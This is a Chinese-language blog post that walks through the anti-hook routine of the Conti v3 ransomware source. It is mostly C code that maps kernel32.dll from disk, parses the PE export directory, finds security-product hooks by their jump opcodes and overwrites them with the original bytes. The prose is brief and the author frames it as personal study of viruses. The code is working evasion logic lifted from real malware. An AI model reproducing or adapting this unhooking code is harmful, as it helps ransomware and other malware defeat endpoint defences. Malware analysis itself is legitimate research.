intro

part of conti v3 Ransomeware, by the way, fucking the school’s midterm exam. I’m longing for the day becoming stronger in Virus Learning.

打开系统对应的文件

导入kernel32.dll并获取文件路径,打开文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
HMODULE hKernel32 = apLoadLibraryA(_STR("kernel32.dll"));

apGetModuleFileNameW(hmodule, moduleRealPath, MAX_PATH);

hFile = pCreateFileW(moduleRealPath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if (!hFile)
return;


DWORD Size = 0;
DWORD H;
LARGE_INTEGER LargeInt;
pGetFileSizeEx(hFile, &LargeInt);
Size = LargeInt.QuadPart;
if (!Size)
{
pCloseHandle(hFile);
return;
}

hFileMap = apCreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (!hFileMap)
{
pCloseHandle(hFile);
return;
}

originDll = (LPBYTE)apMapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, Size);
if (!originDll)
{
pCloseHandle(hFileMap);
pCloseHandle(hFile);
return;
}

获取modules NT Header

在 IMAGE_DOS_HEADER 结构体中的 e_lfanew 成员指定了 NT 头的偏移为 000000f0。这两个范围中间就是 DOS stub 的偏移区域。

计算NT头的指针

1
PNTHeader = ImageBase + dosHeader ->e_Ifanew

根据NT_headers 找到OptionalHeader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef struct _IMAGE_NT_HEADERS64 {

DWORD Signature;

IMAGE_FILE_HEADER FileHeader;

IMAGE_OPTIONAL_HEADER64 OptionalHeader;

} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;


typedef struct _IMAGE_NT_HEADERS {

DWORD Signature;

IMAGE_FILE_HEADER FileHeader;

IMAGE_OPTIONAL_HEADER32 OptionalHeader;

} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

Optional Headers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
typedef struct _IMAGE_OPTIONAL_HEADER64 {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
ULONGLONG ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
ULONGLONG SizeOfStackReserve;
ULONGLONG SizeOfStackCommit;
ULONGLONG SizeOfHeapReserve;
ULONGLONG SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;

IMAGE_DATA_DIRECTORY结构如下

image-20220418213329225

检查文件位数,并获取IMAGE_DATA_DIRECTORY数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == pe32magic)
{
uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS32)
uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
}
else
{
if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == pe64magic)
{
uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS64)
uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
}
else
{
pCloseHandle(hFileMap);
pCloseHandle(hFile);
return;
}
}

然后根据uiBaseAddressuiExportDir获取如下数据

  • export directory
  • name pointers
  • the array of addresses
  • the array of name ordinals
  • the number of exported functions

结构体_IMAGE_EXPORT_DIRECTORY

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// get the File Offset of the export directory
uiExportDir = uiBaseAddress
+ Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress);

// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress
+ Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress);

// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress
+ Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions,
uiBaseAddress);

// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress
+ Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals,
uiBaseAddress);

// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;

获取导出函数表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == pe32magic)
{
uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS32)
uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
}
else
{
if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == pe64magic)
{
uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS64)
uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
}
else
{
pCloseHandle(hFileMap);
pCloseHandle(hFile);
return;
}
}
}

检查hook

  • 遍历函数
    • 检查是否有转发函数(这个概念还不是很清楚),若是则跳过
    • 比较当前函数和系统中函数是否相同
      • 若函数已经被hook,则利用函数的前5byte进行覆盖,即antihook
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
for (; dwCounter--; uiNameArray += sizeof(DWORD), uiNameOrdinals += sizeof(WORD))
{

char* cpExportedFunctionName = (char*)(uiBaseAddress
+ Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress));


uiAddressArray = uiBaseAddress
+ Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions,
uiBaseAddress);

// use the functions name ordinal as an index into the array of name pointers
// loop the uiAddressArray with the uiNameOrdinals
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

// compute the File Offset to the function code
UINT_PTR funcAddr = uiBaseAddress + Rva2Offset(DEREF_32(uiAddressArray),
uiBaseAddress);

// pass the for
bool isForwarder = isForwardedFunc((const void*)funcAddr);

if (isForwarder) continue;

void* funcHooked = apGetProcAddress(hmodule, cpExportedFunctionName);

if (!funcHooked) continue;

BYTE* p = (BYTE*)funcHooked;

if (p[0] != 0xe9) {
if (p[0] != 0xff) continue;
if (p[1] != 0x25) continue;
}

#ifdef __MINGW32__
bool funcIsHooked = (memcmp((const void*)funcAddr, (const void*)funcHooked, 2) != 0);
#else
bool funcIsHooked = m_memcmp((const void*)funcAddr, (const void*)funcHooked, 2) != 0;
#endif // __MINGW32
if (!funcIsHooked) continue;

DWORD oldProtect = 0;
DWORD oldProtect1 = 0;

/*
typedef BOOL(WINAPI* VirtualProtectFunc)(LPVOID, SIZE_T, DWORD, PDWORD);
VirtualProtectFunc pVirtualProtect = (VirtualProtectFunc)GetProcAddress(hKernel32,
_STR("VirtualProtect"));
*/

if (!apVirtualProtect(funcHooked, 64, PAGE_EXECUTE_READWRITE, &oldProtect))
break;

//memcpy((void*)funcHooked, (void*)funcAddr, 10);
CopyMemory((void*)funcHooked, (void*)funcAddr, 10);

if (!apVirtualProtect(funcHooked, 64, oldProtect, &oldProtect1))
break;

本文采用CC-BY-SA-3.0协议,转载请注明出处
Author: scr1pt